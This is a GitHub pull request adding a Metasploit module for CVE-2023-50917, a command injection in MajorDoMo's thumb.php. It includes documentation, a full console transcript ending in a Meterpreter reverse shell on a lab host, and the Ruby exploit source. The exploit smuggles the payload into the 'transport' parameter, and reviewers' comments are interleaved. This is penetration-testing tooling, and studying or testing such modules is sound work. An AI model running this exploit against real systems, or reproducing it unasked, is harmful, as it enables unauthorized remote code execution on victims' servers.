Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add CVE-2023-50917: MajorDoMo Command Injection Module #18630

Merged
Merged
Show file tree
Hide file tree
Changes from 2 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
@@ -0,0 +1,140 @@
## Vulnerable Application

This module exploits a command injection vulnerability in MajorDoMo versions before 0662e5e. To set up a test environment:

1. Download MajorDoMo by executing the following command:
```
curl -s https://raw.githubusercontent.com/sergejey/majordomo-rpi-install/main/install.sh | bash && bash ~/majordomo-rpi-install/install.sh
```
2. Follow the installation script instructions to install MajorDoMo on a Raspberry Pi or a Linux-based server.
3. Ensure that the network interface is active and properly configured during installation.
4. Replace `/var/www/html/modules/thumb/thumb.php` with
https://raw.githubusercontent.com/sergejey/majordomo/1167ca408a911c98937000516588c12cc33a1ab7/modules/thumb/thumb.php.
5. After installation, verify that the MajorDoMo service is operational and accessible over the network.


## Verification Steps

1. Install MajorDoMo with a version prior to 0662e5e.
2. Start msfconsole in your Metasploit environment.
3. Do: `use exploit/linux/http/majordomo_cmd_inject_cve_2023_50917`
4. Set the RHOSTS to the target IP address or hostname.
5. Optionally set USERNAME and PASSWORD if the target is protected by HTTP Basic Authentication.
6. Do: `run`
7. If the target is vulnerable, the exploit will execute the specified payload.

## Options

Here are the specific options for the `exploit/linux/http/majordomo_cmd_inject_cve_2023_50917` module:

### USERNAME (Optional)
- **Description**: The HTTP Basic Authentication Username.
- **Default Value**: None.

### PASSWORD (Optional)
- **Description**: The HTTP Basic Authentication Password.
- **Default Value**: None.

## Scenarios

### Successful Exploitation against MajorDoMo x.x.x

This scenario demonstrates exploiting MajorDoMo version x.x.x on a Linux server.

**Environment**:
- MajorDoMo x.x.x
- Linux Server
- Metasploit Framework

**Expected Output**:

```
msf6 > search majordomo

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/http/majordomo_cmd_inject_cve_2023_50917 2023-11-15 normal Yes MajorDoMo Command Injection
1 auxiliary/scanner/http/majordomo2_directory_traversal 2011-03-08 normal No Majordomo2 _list_file_get() Directory Traversal


Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/http/majordomo2_directory_traversal

msf6 > use 0
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/majordomo_cmd_inject_cve_2023_50917) > options

Module options (exploit/linux/http/majordomo_cmd_inject_cve_2023_50917):

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The HTTP Basic Authentication Password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metas
ploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The URI path to MajorDoMo
URIPATH no The URI to use for this exploit (default is random)
USERNAME no The HTTP Basic Authentication Username
VHOST no HTTP server virtual host


When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an addr
ess on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP,
WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME vGtfyMNwnp no Name to use on remote system when storing payload; cannot c
ontain spaces.
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
.
LHOST 192.168.1.5 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Automatic



View the full module info with the info, or info -d command.

msf6 exploit(linux/http/majordomo_cmd_inject_cve_2023_50917) > set rhosts 192.168.1.18
rhosts => 192.168.1.18
msf6 exploit(linux/http/majordomo_cmd_inject_cve_2023_50917) > exploit

[*] Started reverse TCP handler on 192.168.1.5:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Target is identified as MajorDoMo instance
[+] The target is vulnerable.
[*] Sending stage (3045380 bytes) to 192.168.1.18
[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 192.168.1.18:37250) at 2023-12-20 00:22:52 +0100

meterpreter > sysinfo
Computer : 192.168.1.18
OS : Debian 10.13 (Linux 4.19.0-25-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```
107 changes: 107 additions & 0 deletions modules/exploits/linux/http/majordomo_cmd_inject_cve_2023_50917.rb
@@ -0,0 +1,107 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You've included this but you're not actually use it. You should either remove it or use it.

Suggested change
include Msf::Exploit::CmdStager

prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'MajorDoMo Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in MajorDoMo
versions before 0662e5e.
},
'Author' => ['Valentin Lobstein'], # Vulnerability discovery and Metasploit Module
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-50917'],
['URL', 'https://github.com/Chocapikk/CVE-2023-50917'],
['URL', 'https://chocapikk.com/posts/2023/cve-2023-50917'],
['URL', 'https://github.com/sergejey/majordomo'] # Vendor URL
],
'DisclosureDate' => '2023-12-15',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
},
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Targets' => [['Automatic', {}]],
'Privileged' => false
)
)

register_options([
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'The URI path to MajorDoMo', '/']),
OptString.new('USERNAME', [false, 'The HTTP Basic Authentication Username']),
OptString.new('PASSWORD', [false, 'The HTTP Basic Authentication Password'])
smcintyre-r7 marked this conversation as resolved.
Show resolved Hide resolved
])
end

def send_request_with_auth(uri, method: 'GET', vars_get: {}, vars_post: {})
user = datastore['USERNAME']
pass = datastore['PASSWORD']

unless user.to_s.empty? || pass.to_s.empty?
credentials = Rex::Text.encode_base64("#{user}:#{pass}")
auth_headers = { 'Authorization' => "Basic #{credentials}" }
end

send_request_cgi({
'uri' => uri,
'method' => method,
'headers' => auth_headers,
'vars_get' => vars_get,
'vars_post' => vars_post
})
end

smcintyre-r7 marked this conversation as resolved.
Show resolved Hide resolved
def majordomo?
favicon_uri = normalize_uri(datastore['TARGETURI'], 'favicon.ico')
res = send_request_with_auth(favicon_uri)

if res.nil? || res.code != 200
print_error('Cannot verify if target is MajorDoMo')
false
elsif Rex::Text.md5(res.body) == '08d30f79c76f124754ac6f7789ca3ab1'
print_good('Target is identified as MajorDoMo instance')
true
else
print_error('Target might not be MajorDoMo')
false
end
end

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is only used in #check but the problem is that it doesn't differentiate between instances where the server doesn't respond and CheckCode::Unknown should be returned and when the target is not MajorDoMo. In my suggestion for the #check method changes, I broke this out to be more specific.

Suggested change
def majordomo?
favicon_uri = normalize_uri(datastore['TARGETURI'], 'favicon.ico')
res = send_request_with_auth(favicon_uri)
if res.nil? || res.code != 200
print_error('Cannot verify if target is MajorDoMo')
false
elsif Rex::Text.md5(res.body) == '08d30f79c76f124754ac6f7789ca3ab1'
print_good('Target is identified as MajorDoMo instance')
true
else
print_error('Target might not be MajorDoMo')
false
end
end

def exploit
send_request_with_auth(
normalize_uri(datastore['TARGETURI'], 'modules', 'thumb', 'thumb.php'),
method: 'GET',
vars_get: {
'url' => Rex::Text.encode_base64('rtsp://'),
'debug' => '1',
'transport' => "|| $(#{payload.encoded});"
}
)
end
smcintyre-r7 marked this conversation as resolved.
Show resolved Hide resolved

def check
return CheckCode::Unknown unless majordomo?

uri = normalize_uri(datastore['TARGETURI'], '3rdparty', 'threejs', 'Detector.js')
res = send_request_with_auth(uri)

return CheckCode::Unknown if res.nil?

res.code == 200 ? CheckCode::Vulnerable : CheckCode::Safe
end
smcintyre-r7 marked this conversation as resolved.
Show resolved Hide resolved
end